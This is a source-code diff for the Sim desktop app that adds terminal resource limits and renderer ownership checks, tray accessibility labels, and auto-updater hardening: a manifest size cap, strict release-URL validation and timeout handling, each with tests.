'@/main/desktop-chat-session-store' import type { FocusedResourceShortcut } from '@/main/resource-shortcuts' -import { TerminalService, type TerminalServiceOptions, type TerminalSink } from '@/main/terminal' +import { + MAX_TERMINALS_PER_SCOPE, + TerminalError, + TerminalService, + type TerminalServiceOptions, + type TerminalSink, +} from '@/main/terminal' + +/** Native PTYs and their headless xterm buffers are process-wide resources. */ +export const MAX_TERMINALS_PER_PROCESS = 48 /** Live terminal events tagged with the chat scope that owns their service. */ export interface ScopedTerminalSink { @@ -54,6 +63,28 @@ function restorableCwd(cwd: string): string | undefined { } } +/** + * Bounds a saved descriptor while retaining the selected tab when it falls + * beyond the ordered prefix. The selected tab replaces the final retained + * entry, preserving relative order for every other survivor. + */ +function boundSnapshot( + snapshot: TerminalSessionSnapshot | undefined +): TerminalSessionSnapshot | undefined { + if (!snapshot) return undefined + if (snapshot.tabs.length <= MAX_TERMINALS_PER_SCOPE) return snapshot + const activeIndex = Math.min(Math.max(0, snapshot.activeIndex), snapshot.tabs.length - 1) + const tabs = snapshot.tabs.slice(0, MAX_TERMINALS_PER_SCOPE) + if (activeIndex >= MAX_TERMINALS_PER_SCOPE) { + tabs[MAX_TERMINALS_PER_SCOPE - 1] = snapshot.tabs[activeIndex] + } + return { + v: 1, + tabs, + activeIndex: activeIndex < MAX_TERMINALS_PER_SCOPE ? activeIndex : MAX_TERMINALS_PER_SCOPE - 1, + } +} + /** * Owns one independent terminal service per chat scope. * @@ -132,11 +163,28 @@ export class TerminalRegistry { return this.serviceFor(scope).closeTerminal(terminalId) } + /** Closes a tab only from the renderer that currently displays its scope. */ + closeUserTerminal(scope: string, terminalId: string, owner: WebContents): TerminalTabsState { + if (this.suspendedScopes.has(scope)) return { tabs: [], activeTerminalId: null } + const service = this.entries.get(scope)?.service + if (!service?.acceptsUserClose(owner, terminalId)) return this.peekTabs(scope) + return service.closeTerminal(terminalId) + } + write(scope: string, terminalId: string, data: string): void { if (this.suspendedScopes.has(scope)) return this.serviceFor(scope).write(terminalId, data) } + /** Applies user input only to the visible active tab owned by its renderer. */ + writeUserInput(scope: string, terminalId: string, data: string, owner: WebContents): boolean { + if (this.suspendedScopes.has(scope)) return false + const service = this.entries.get(scope)?.service + if (!service?.acceptsUserInput(owner, terminalId)) return false + service.write(terminalId, data) + return true + } + resize(scope: string, terminalId: string, cols: number, rows: number): void { if (this.suspendedScopes.has(scope)) return this.serviceFor(scope).resize(terminalId, cols, rows) @@ -321,12 +369,12 @@ export class TerminalRegistry { const existing = this.entries.get(scope) if (existing) return existing - const persisted = this.persistence?.load(scope) - const rememberedCwd = persisted?.tabs[0]?.cwd + const persisted = boundSnapshot(this.persistence?.load(scope)) const entry: TerminalRegistryEntry = { scope, service: this.serviceFactory(scope, { - loadCwd: () => rememberedCwd, + loadCwd: () => this.entries.get(scope)?.persisted?.tabs[0]?.cwd, + canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS, }), persisted, restoreApplied: false, @@ -348,6 +396,15 @@ export class TerminalRegistry { ): TerminalTabsState { if (entry.restoreApplied) return entry.service.start(options) + const requiredSlots = entry.persisted?.tabs.length ?? 1 + const availableSlots = Math.max(0, MAX_TERMINALS_PER_PROCESS - this.liveTerminalCount()) + if (requiredSlots > availableSlots) { + throw new TerminalError( + 'RESOURCE_LIMIT', + `Sim can have at most ${MAX_TERMINALS_PER_PROCESS} live terminals. Close a terminal before opening another.` + ) + } + entry.restoreApplied = true entry.restoring = true let tabs: TerminalTabsState @@ -358,16 +415,42 @@ export class TerminalRegistry { for (const tab of persisted.tabs.slice(1)) { entry.service.restoreTerminal(restorableCwd(tab.cwd)) } - const restored = entry.service.getTabs() - const active = restored.tabs[persisted.activeIndex] + const restoredState = entry.service.getTabs() + const active = restoredState.tabs[persisted.activeIndex] if (active) entry.service.restoreActiveTerminal(active.terminalId) } tabs = entry.service.getTabs() + } catch (error) { + const owners = entry.service.getPanelOwners() + entry.service.setSink(null) + entry.service.dispose() + let replacement: TerminalService + try { + replacement = this.serviceFactory(entry.scope, { + loadCwd: () => entry.persisted?.tabs[0]?.cwd, + canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS, + }) + } catch { + this.entries.delete(entry.scope) + throw error + } + entry.service = replacement + try { + entry.restoreApplied = false + this.bindSink(entry) + if (owners.visible) entry.service.setPanelVisible(true, owners.visible) + if (owners.focused) entry.service.setPanelFocused(true, owners.focused) + } catch { + entry.service.setSink(null) + entry.service.dispose() + this.entries.delete(entry.scope) + } + throw error } finally { entry.restoring = false - entry.persisted = undefined } - this.persistTabs(entry, tabs) + entry.persisted = undefined + this.publishTabs(entry, tabs) return tabs } @@ -382,16 +465,23 @@ export class TerminalRegistry { } const sink: TerminalSink = { - data: (terminalId, data) => this.sink?.data(entry.scope, terminalId, data), - tabs: (state) => { - this.persistTabs(entry, state) - this.sink?.tabs(entry.scope, state) + data: (terminalId, data) => { + if (!entry.restoring) this.sink?.data(entry.scope, terminalId, data) + }, + tabs: (state) => this.publishTabs(entry, state), + command: (event) => { + if (!entry.restoring) this.sink?.command(entry.scope, event) }, - command: (event) => this.sink?.command(entry.scope, event), } entry.service.setSink(sink) } + private publishTabs(entry: TerminalRegistryEntry, state: TerminalTabsState): void { + if (entry.restoring) return + this.persistTabs(entry, state) + this.sink?.tabs(entry.scope, state) + } + private persistEntry(entry: TerminalRegistryEntry): boolean { return this.persistTabs(entry, entry.service.getTabs()) } @@ -408,4 +498,10 @@ export class TerminalRegistry { ) return this.persistence.save(entry.scope, { v: 1, tabs, activeIndex }) } + + private liveTerminalCount(): number { + let count = 0 + for (const entry of this.entries.values()) count += entry.service.getTabs().tabs.length + return count + } } diff --git a/apps/desktop/src/main/terminal/service.test.ts b/apps/desktop/src/main/terminal/service.test.ts index cef327baa5e..60a3060bb79 100644 --- a/apps/desktop/src/main/terminal/service.test.ts +++ b/apps/desktop/src/main/terminal/service.test.ts @@ -397,6 +397,20 @@ describe('focus-gated shortcuts', () => { ).toBe('/alpha') }) + it('fails cleanly instead of opening a seventeenth terminal', () => { + const terminal = service() + terminal.start({ cols: 80, rows: 24 }) + while (terminal.getTabs().tabs.length < 16) terminal.openTerminal() + + expect(() => terminal.openTerminal()).toThrow( + expect.objectContaining({ + code: 'RESOURCE_LIMIT', + message: 'A task can have at most 16 live terminals.', + }) + ) + expect(terminal.getTabs().tabs).toHaveLength(16) + }) + it('ignores a blur reported by a renderer that does not hold the claim', () => { // Every renderer reports its own blur, so a second window switching away // from its terminal sends `false` from a WebContents that never claimed. diff --git a/apps/desktop/src/main/tray.test.ts b/apps/desktop/src/main/tray.test.ts index 1cd08dcaffc..ce688effc3f 100644 --- a/apps/desktop/src/main/tray.test.ts +++ b/apps/desktop/src/main/tray.test.ts @@ -179,6 +179,9 @@ describe('buildTrayMenuTemplate', () => { const seen = template.find((item) => item.label === 'Seen') expect(working?.icon).toBeDefined() expect(fresh?.icon).toBeDefined() + expect(working?.accessibilityLabel).toBe('Working, running') + expect(fresh?.accessibilityLabel).toBe('Fresh, unread') + expect(seen?.accessibilityLabel).toBe('Seen') // Active (yellow) and unread (green) use distinct images; read chats get none. expect(working?.icon).not.toBe(fresh?.icon) expect(seen?.icon).toBeUndefined() diff --git a/apps/desktop/src/main/tray.ts b/apps/desktop/src/main/tray.ts index 1f21815dc2e..7ae06b73c72 100644 --- a/apps/desktop/src/main/tray.ts +++ b/apps/desktop/src/main/tray.ts @@ -336,8 +336,12 @@ export interface TrayDeps { function chatMenuItem(chat: RecentChat, deps: TrayDeps): MenuItemConstructorOptions { const icon = statusDotImage(chat.status) + const statusLabel = + chat.status === 'active' ? 'running' : chat.status === 'unread' ? 'unread' : '' + const label = truncate(chat.title, 57, '…') return { - label: truncate(chat.title, 57, '…'), + label, + accessibilityLabel: statusLabel ? `${label}, ${statusLabel}` : label, ...(icon ? { icon } : {}), click: () => deps.openMainWindow(chatRoute(chat)), } diff --git a/apps/desktop/src/main/updater.test.ts b/apps/desktop/src/main/updater.test.ts index 5f00197d3c2..a95d2839873 100644 --- a/apps/desktop/src/main/updater.test.ts +++ b/apps/desktop/src/main/updater.test.ts @@ -3,8 +3,15 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) +let updaterChannel = '' const autoUpdaterMock = { - channel: '', + get channel() { + return updaterChannel + }, + set channel(value: string) { + updaterChannel = value + this.allowDowngrade = true + }, allowDowngrade: false, autoDownload: true, autoInstallOnAppQuit: false, @@ -12,7 +19,7 @@ const autoUpdaterMock = { logger: null as unknown, on: vi.fn(), setFeedURL: vi.fn(), - checkForUpdates: vi.fn(() => Promise.resolve(null)), + checkForUpdates: vi.fn<() => Promise>(), downloadUpdate: vi.fn(() => Promise.resolve([])), quitAndInstall: vi.fn(), } @@ -25,6 +32,7 @@ import { isDowngrade, isNewerVersion, parseSemver, + readUpdateManifest, resolveUpdateChannel, type UpdaterHandle, updateCheckIntervalMs, @@ -149,6 +157,7 @@ describe('initUpdater state machine', () => { autoDownload?: boolean feedAvailable?: boolean | 'no-release' probeOriginFeed?: (feedUrl: string) => Promise + beforeInstall?: () => Promise }) { const states: DesktopUpdateState[] = [] const handle = initUpdater({ @@ -161,6 +170,8 @@ describe('initUpdater state machine', () => { autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'], probeOriginFeed: options?.probeOriginFeed ?? (async () => options?.feedAvailable ?? false), canSelfUpdate: async () => true, + platform: 'darwin', + beforeInstall: options?.beforeInstall, }) // Engine selection (signature detection) resolves asynchronously. await vi.advanceTimersByTimeAsync(0) @@ -172,9 +183,11 @@ describe('initUpdater state machine', () => { autoUpdaterMock.on.mockClear() autoUpdaterMock.setFeedURL.mockClear() autoUpdaterMock.checkForUpdates.mockClear() + autoUpdaterMock.checkForUpdates.mockImplementation(() => new Promise(() => {})) autoUpdaterMock.downloadUpdate.mockClear() autoUpdaterMock.quitAndInstall.mockClear() autoUpdaterMock.autoRunAppAfterInstall = false + updaterChannel = '' vi.mocked(dialog.showMessageBox).mockResolvedValue({ response: 1, checkboxChecked: false }) }) @@ -189,7 +202,8 @@ describe('initUpdater state machine', () => { handle.install() expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled() - emit('checking-for-update') + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('update-available', { version: '2.0.0' }) emit('download-progress', { percent: 41.7 }) emit('update-downloaded', { version: '2.0.0' }) @@ -211,12 +225,20 @@ describe('initUpdater state machine', () => { autoUpdaterMock.autoDownload = false const { handle } = await createUpdater({ autoDownload: false }) + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('update-available', { version: '2.0.0' }) expect(handle.getState()).toEqual({ status: 'available', version: '2.0.0' }) handle.check() expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1) - expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled() + expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1) + expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' }) + + handle.check() + expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1) + emit('download-progress', { percent: 41.7 }) + expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0', percent: 42 }) emit('update-downloaded', { version: '2.0.0' }) expect(dialog.showMessageBox).not.toHaveBeenCalled() @@ -224,6 +246,64 @@ describe('initUpdater state machine', () => { expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1) }) + it('surfaces a manually started download failure without installing', async () => { + autoUpdaterMock.downloadUpdate.mockRejectedValueOnce(new Error('download failed')) + const { handle } = await createUpdater({ autoDownload: false }) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + emit('update-available', { version: '2.0.0' }) + handle.check() + await vi.advanceTimersByTimeAsync(0) + + expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' }) + emit('update-downloaded', { version: '2.0.0' }) + expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled() + }) + + it('awaits desktop teardown before Squirrel terminates the process', async () => { + let finishTeardown: (() => void) | undefined + const beforeInstall = vi.fn( + () => + new Promise((resolve) => { + finishTeardown = resolve + }) + ) + const { handle } = await createUpdater({ autoDownload: false, beforeInstall }) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + emit('update-available', { version: '2.0.0' }) + handle.check() + emit('update-downloaded', { version: '2.0.0' }) + await vi.advanceTimersByTimeAsync(0) + + expect(beforeInstall).toHaveBeenCalledTimes(1) + expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled() + + finishTeardown?.() + await vi.advanceTimersByTimeAsync(0) + expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1) + }) + + it('does not install when pre-install teardown fails', async () => { + const beforeInstall = vi.fn(async () => { + throw new Error('flush failed') + }) + const { handle } = await createUpdater({ beforeInstall }) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + emit('update-available', { version: '2.0.0' }) + emit('update-downloaded', { version: '2.0.0' }) + handle.install() + await vi.advanceTimersByTimeAsync(0) + + expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled() + expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false) + expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' }) + }) + it('checks from idle and ignores re-entrant checks while busy', async () => { const { handle } = await createUpdater() handle.check() @@ -250,6 +330,7 @@ describe('initUpdater state machine', () => { autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'], probeOriginFeed: async () => true, canSelfUpdate: () => capability, + platform: 'darwin', }) handle.check() @@ -262,6 +343,9 @@ describe('initUpdater state machine', () => { it('resets to idle when a downloaded update is a blocked downgrade', async () => { const { handle } = await createUpdater() + handle.check() + await vi.advanceTimersByTimeAsync(0) + emit('update-available', { version: '2.0.0' }) emit('update-downloaded', { version: '0.0.1' }) expect(handle.getState()).toEqual({ status: 'idle' }) handle.install() @@ -272,6 +356,8 @@ describe('initUpdater state machine', () => { const { handle } = await createUpdater() for (const version of ['1.0.0', '0.9.9', 'nightly', '2.0.0-dev.1']) { + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('update-available', { version }) expect(handle.getState()).toEqual({ status: 'idle' }) } @@ -281,8 +367,12 @@ describe('initUpdater state machine', () => { it('surfaces updater errors and recovers via update-not-available', async () => { const { handle } = await createUpdater() + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('error', new Error('feed unreachable')) expect(handle.getState()).toEqual({ status: 'error' }) + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('update-not-available') expect(handle.getState()).toEqual({ status: 'idle' }) }) @@ -297,6 +387,48 @@ describe('initUpdater state machine', () => { channel: 'latest', }) expect(autoUpdaterMock.channel).toBe('latest') + expect(autoUpdaterMock.allowDowngrade).toBe(false) + }) + + it('accepts only exact repository, tag, and artifact URLs from an origin feed', async () => { + const { handle } = await createUpdater({ feedAvailable: true }) + handle.check() + await vi.advanceTimersByTimeAsync(0) + + emit('update-available', { + version: '2.0.0', + files: [ + { + url: 'https://github.com/simstudioai/sim/releases/download/v2.0.0/Sim-2.0.0-universal.zip', + sha512: 'checksum', + }, + ], + }) + + expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' }) + }) + + it('blocks an origin manifest that points at an unexpected release artifact', async () => { + const { handle } = await createUpdater({ feedAvailable: true }) + handle.check() + await vi.advanceTimersByTimeAsync(0) + + emit('update-available', { + version: '2.0.0', + files: [ + { + url: 'https://github.com/simstudioai/sim/releases/download/v1.9.9/unreviewed.dmg', + sha512: 'checksum', + }, + ], + }) + + expect(handle.getState()).toEqual({ status: 'idle' }) + expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false) + expect(events.record).toHaveBeenCalledWith('update_blocked_version', { + version: '2.0.0', + reason: 'unusable-url', + }) }) it('keeps the packaged GitHub feed when the origin has no feed', async () => { @@ -347,6 +479,92 @@ describe('initUpdater state machine', () => { expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled() }) + it('ignores a feed probe that resolves after its timeout generation', async () => { + let resolveProbe: ((available: boolean) => void) | undefined + const probeOriginFeed = vi.fn( + () => + new Promise((resolve) => { + resolveProbe = resolve + }) + ) + const { handle } = await createUpdater({ probeOriginFeed }) + + handle.check() + await vi.advanceTimersByTimeAsync(10_000) + resolveProbe?.(true) + await vi.advanceTimersByTimeAsync(0) + + expect(handle.getState()).toEqual({ status: 'error' }) + expect(autoUpdaterMock.setFeedURL).not.toHaveBeenCalled() + expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled() + }) + + it('gives the updater request a fresh timeout after a slow feed probe', async () => { + let resolveProbe: ((available: boolean) => void) | undefined + const probeOriginFeed = vi.fn( + () => + new Promise((resolve) => { + resolveProbe = resolve + }) + ) + const { handle } = await createUpdater({ probeOriginFeed }) + + handle.check() + await vi.advanceTimersByTimeAsync(9_000) + resolveProbe?.(true) + await vi.advanceTimersByTimeAsync(0) + await vi.advanceTimersByTimeAsync(9_999) + expect(handle.getState()).toEqual({ status: 'checking' }) + + await vi.advanceTimersByTimeAsync(1) + expect(handle.getState()).toEqual({ status: 'error' }) + }) + + it('waits for a timed-out updater request to settle before retrying', async () => { + let resolveRequest: ((result: null) => void) | undefined + autoUpdaterMock.checkForUpdates.mockImplementationOnce( + () => + new Promise((resolve) => { + resolveRequest = resolve + }) + ) + const { handle } = await createUpdater({ feedAvailable: true }) + handle.check() + await vi.advanceTimersByTimeAsync(10_000) + expect(handle.getState()).toEqual({ status: 'error' }) + + emit('update-available', { version: '2.0.0' }) + emit('update-not-available') + expect(handle.getState()).toEqual({ status: 'error' }) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1) + + resolveRequest?.(null) + await vi.advanceTimersByTimeAsync(0) + handle.check() + await vi.advanceTimersByTimeAsync(0) + expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(2) + }) + + it('does not initialize the updater outside macOS', () => { + const loadAutoUpdater = vi.fn( + () => autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'] + ) + const handle = initUpdater({ + getWindow: () => null, + events, + appOrigin: () => 'https://sim.ai', + loadAutoUpdater, + platform: 'win32', + }) + + handle.check() + expect(loadAutoUpdater).not.toHaveBeenCalled() + expect(handle.getState()).toEqual({ status: 'idle' }) + }) + it('fails interactive checks promptly on prerelease builds when the origin feed is down', async () => { // The GitHub fallback is stable-only: a Sim Dev shell can never apply a // prod-identity artifact, so it must not check against it. @@ -391,15 +609,53 @@ describe('initUpdater state machine', () => { }) }) +describe('readUpdateManifest', () => { + it('streams a manifest within the byte limit', async () => { + const response = new Response( + new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode('version: ')) + controller.enqueue(new TextEncoder().encode('1.2.3')) + controller.close() + }, + }), + { status: 200 } + ) + + await expect(readUpdateManifest(response)).resolves.toBe('version: 1.2.3') + }) + + it('rejects a manifest whose declared size exceeds the limit before reading', async () => { + const response = new Response('small body', { + status: 200, + headers: { 'content-length': String(256 * 1024 + 1) }, + }) + + await expect(readUpdateManifest(response)).rejects.toThrow('size limit') + }) + + it('stops a streamed manifest once its body exceeds the limit', async () => { + const response = new Response(new Uint8Array(256 * 1024 + 1), { status: 200 }) + + await expect(readUpdateManifest(response)).rejects.toThrow('size limit') + }) + + it('does not read an unsuccessful response body', async () => { + const response = new Response('not found', { status: 404 }) + + await expect(readUpdateManifest(response)).resolves.toBeNull() + }) +}) + function manifest(version: string, repository = 'simstudioai/sim'): string { return [ `version: ${version}`, 'files:', - ` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`, + ` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`, ' sha512: abc', ` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.dmg`, ' sha512: def', - `path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`, + `path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`, "releaseDate: '2026-07-23T00:00:00.000Z'", ].join('\n') } @@ -416,6 +672,7 @@ describe('initUpdater manual mode (no Developer ID signature)', () => { onStateChange: (state) => states.push(state), canSelfUpdate: async () => false, fetchManifest, + platform: 'darwin', }) await vi.advanceTimersByTimeAsync(0) return { handle, states } @@ -454,23 +711,81 @@ describe('initUpdater manual mode (no Developer ID signature)', () => { }) it('offers prerelease-repository assets as manual downloads', async () => { + vi.mocked(app.getVersion).mockReturnValue('1.0.0-dev.1') const fetchManifest = vi.fn(async () => manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases') ) - const { handle } = await createManualUpdater(fetchManifest) + try { + const { handle } = await createManualUpdater(fetchManifest) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + expect(handle.getState()).toEqual({ + status: 'available', + version: '9.9.9-dev.1', + manual: true, + }) + + handle.check() + expect(shell.openExternal).toHaveBeenCalledWith( + 'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg' + ) + } finally { + vi.mocked(app.getVersion).mockReturnValue('1.0.0') + } + }) + + it('rejects a newer version from another update channel', async () => { + const { handle } = await createManualUpdater(async () => + manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases') + ) handle.check() await vi.advanceTimersByTimeAsync(0) - expect(handle.getState()).toEqual({ - status: 'available', - version: '9.9.9-dev.1', - manual: true, - }) + + expect(handle.getState()).toEqual({ status: 'idle', manual: true }) + expect(shell.openExternal).not.toHaveBeenCalled() + }) + + it('rejects an allowed repository asset under a different release tag', async () => { + const mismatchedTag = manifest('9.9.9').replaceAll('/v9.9.9/', '/v9.9.8/') + const { handle } = await createManualUpdater(async () => mismatchedTag) handle.check() - expect(shell.openExternal).toHaveBeenCalledWith( - 'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg' + await vi.advanceTimersByTimeAsync(0) + + expect(handle.getState()).toMatchObject({ status: 'error', manual: true }) + expect(shell.openExternal).not.toHaveBeenCalled() + }) + + it('rejects unexpected asset names on the expected release', async () => { + const unexpectedName = manifest('9.9.9').replaceAll('Sim-9.9.9-universal', 'unreviewed-payload') + const { handle } = await createManualUpdater(async () => unexpectedName) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + + expect(handle.getState()).toMatchObject({ status: 'error', manual: true }) + expect(shell.openExternal).not.toHaveBeenCalled() + }) + + it('ignores a manifest that arrives after the manual check timeout', async () => { + let resolveManifest: ((manifestBody: string) => void) | undefined + const { handle } = await createManualUpdater( + () => + new Promise((resolve) => { + resolveManifest = resolve + }) ) + + handle.check() + await vi.advanceTimersByTimeAsync(10_000) + expect(handle.getState()).toEqual({ status: 'error', manual: true }) + + resolveManifest?.(manifest('9.9.9')) + await vi.advanceTimersByTimeAsync(0) + expect(handle.getState()).toEqual({ status: 'error', manual: true }) + expect(shell.openExternal).not.toHaveBeenCalled() }) it('refuses a manifest whose download urls are not http(s)', async () => { @@ -596,6 +911,7 @@ describe('checkForUpdatesInteractive', () => { appOrigin: () => 'https://www.dev.sim.ai', canSelfUpdate: async () => false, fetchManifest: async () => manifest(version), + platform: 'darwin', }) await vi.advanceTimersByTimeAsync(0) return handle diff --git a/apps/desktop/src/main/updater.ts b/apps/desktop/src/main/updater.ts index a6702d0090b..aaa2f3a360e 100644 --- a/apps/desktop/src/main/updater.ts +++ b/apps/desktop/src/main/updater.ts @@ -15,9 +15,43 @@ const STABLE_CHECK_INTERVAL_MS = 30 * 60 * 1000 const UPDATE_CHECK_TIMEOUT_MS = 10_000 const INTERACTIVE_FEEDBACK_TIMEOUT_MS = 12_000 const FEED_STATUS_HEADER = 'x-sim-desktop-update-feed' +const MAX_UPDATE_MANIFEST_BYTES = 256 * 1024 export type UpdateChannel = 'latest' | 'staging' | 'dev' +/** Reads a small updater manifest without allowing an origin to fill main-process memory. */ +export async function readUpdateManifest(response: Response): Promise { + if (!response.ok) return null + const declaredLength = response.headers.get('content-length') + if (declaredLength !== null) { + const bytes = Number(declaredLength) + if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > MAX_UPDATE_MANIFEST_BYTES) { + throw new Error('Update manifest exceeded the size limit') + } + } + + if (!response.body) return '' + const reader = response.body.getReader() + const decoder = new TextDecoder() + let bytesRead = 0 + let manifest = '' + try { + while (true) { + const { done, value } = await reader.read() + if (done) break + bytesRead += value.byteLength + if (bytesRead > MAX_UPDATE_MANIFEST_BYTES) { + await reader.cancel() + throw new Error('Update manifest exceeded the size limit') + } + manifest += decoder.decode(value, { stream: true }) + } + return manifest + decoder.decode() + } finally { + reader.releaseLock() + } +} + /** * The per-environment update feed served by the Sim deployment this shell is * pointed at (`/api/desktop/update/latest-mac.yml`). Each environment pins @@ -39,26 +73,37 @@ export function feedUrlForOrigin(origin: string): string | null { /** * Where the feed rewrites every manifest entry to. Downloads are constrained to - * this prefix rather than to https alone, so a feed that serves an attacker's - * host cannot get a bundle in front of the user's Download button. + * the running channel's repository, the manifest version's tag, and the exact + * artifact names produced by the release workflow. */ const RELEASE_ASSET_ORIGIN = 'https://github.com' -const RELEASE_ASSET_PATHS = [ - '/simstudioai/sim/releases/download/', - '/simstudioai/sim-desktop-releases/releases/download/', -] as const +const RELEASE_REPOSITORIES: Record = { + latest: 'simstudioai/sim', + staging: 'simstudioai/sim-desktop-releases', + dev: 'simstudioai/sim-desktop-releases', +} -/** Whether a manifest url is one of our own release assets. */ -function isReleaseAssetUrl(rawUrl: string): boolean { +function isReleaseAssetUrl(rawUrl: string, version: string, channel: UpdateChannel): boolean { if (!isSafeExternalUrl(rawUrl)) return false try { const url = new URL(rawUrl) - // Compared on the parsed origin and the parsed pathname, never by prefix on - // the raw string: `https://github.com.evil.example/…` must not pass, and - // `URL` has already normalized away any `..` segments by this point. + const normalizedVersion = version.replace(/^v/, '') + const repository = RELEASE_REPOSITORIES[channel] + const releasePath = `/${repository}/releases/download/v${normalizedVersion}/` + const assetName = decodeURIComponent(url.pathname.slice(releasePath.length)) + const expectedAssetNames = new Set([ + `Sim-${normalizedVersion}-universal.dmg`, + `Sim-${normalizedVersion}-universal.zip`, + ]) return ( url.origin === RELEASE_ASSET_ORIGIN && - RELEASE_ASSET_PATHS.some((path) => url.pathname.startsWith(path)) + url.username === '' && + url.password === '' && + url.search === '' && + url.hash === '' && + url.pathname.startsWith(releasePath) && + !assetName.includes('/') && + expectedAssetNames.has(assetName) ) } catch { return false @@ -200,6 +245,10 @@ export interface UpdaterDeps { canSelfUpdate?: () => Promise /** Test seam: overrides the manual-mode manifest fetch (body or null). */ fetchManifest?: (url: string) => Promise + /** Test seam for the macOS-only updater gate. */ + platform?: NodeJS.Platform + /** Flushes desktop-owned state before Squirrel terminates the process. */ + beforeInstall?: () => Promise } export interface UpdaterHandle { @@ -237,7 +286,7 @@ export function isNewerVersion(candidateVersion: string, currentVersion: string) } /** A signed shell may only install a strictly newer build from its own environment stream. */ -function isValidAutomaticUpdate(candidateVersion: string, currentVersion: string): boolean { +function isValidUpdateCandidate(candidateVersion: string, currentVersion: string): boolean { return ( resolveUpdateChannel(candidateVersion) === resolveUpdateChannel(currentVersion) && isNewerVersion(candidateVersion, currentVersion) @@ -300,6 +349,9 @@ interface UpdateEngine { * download link, so the whole pipeline is testable before signing exists. */ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { + if ((deps.platform ?? process.platform) !== 'darwin') { + return NOOP_UPDATER_HANDLE + } if (!app.isPackaged && !deps.loadAutoUpdater && !deps.canSelfUpdate) { return NOOP_UPDATER_HANDLE } @@ -327,8 +379,11 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { return null } - autoUpdater.channel = resolveUpdateChannel(currentVersion) - autoUpdater.allowDowngrade = false + const setChannelWithoutDowngrades = (channel: UpdateChannel) => { + autoUpdater.channel = channel + autoUpdater.allowDowngrade = false + } + setChannelWithoutDowngrades(resolveUpdateChannel(currentVersion)) autoUpdater.autoDownload = deps.autoDownload?.() ?? true // Explicit Update actions must reopen Sim after Squirrel swaps the bundle. autoUpdater.autoRunAppAfterInstall = true @@ -338,40 +393,91 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { // silently installed on quit. autoUpdater.autoInstallOnAppQuit = false autoUpdater.logger = null + let installInFlight = false - let activeCheckId: number | null = null - let nextCheckId = 0 - let checkTimeout: ReturnType | null = null - const finishCheck = () => { - activeCheckId = null - if (checkTimeout !== null) { - clearTimeout(checkTimeout) - checkTimeout = null + const quitAndInstall = () => { + if (installInFlight) return + if (!deps.beforeInstall) { + autoUpdater.quitAndInstall() + return + } + installInFlight = true + void Promise.resolve() + .then(() => deps.beforeInstall?.()) + .then(() => autoUpdater.quitAndInstall()) + .catch((error) => { + autoUpdater.autoInstallOnAppQuit = false + installInFlight = false + logger.error('Pre-install teardown failed', { + message: getErrorMessage(error, 'unknown'), + }) + deps.events.record('update_error', { message: 'Pre-install teardown failed' }) + setState({ status: 'error', version: state.version }) + }) + } + + let activeProbeId: number | null = null + let nextProbeId = 0 + let probeTimeout: ReturnType | null = null + let activeUpdaterCheckId: number | null = null + let nextUpdaterCheckId = 0 + let updaterCheckTimeout: ReturnType | null = null + let updaterRequestId: number | null = null + let acceptedUpdateVersion: string | null = null + + const finishProbe = (probeId: number) => { + if (activeProbeId !== probeId) return + activeProbeId = null + if (probeTimeout !== null) { + clearTimeout(probeTimeout) + probeTimeout = null + } + } + const finishUpdaterCheck = (checkId: number) => { + if (activeUpdaterCheckId !== checkId) return + activeUpdaterCheckId = null + if (updaterCheckTimeout !== null) { + clearTimeout(updaterCheckTimeout) + updaterCheckTimeout = null } } 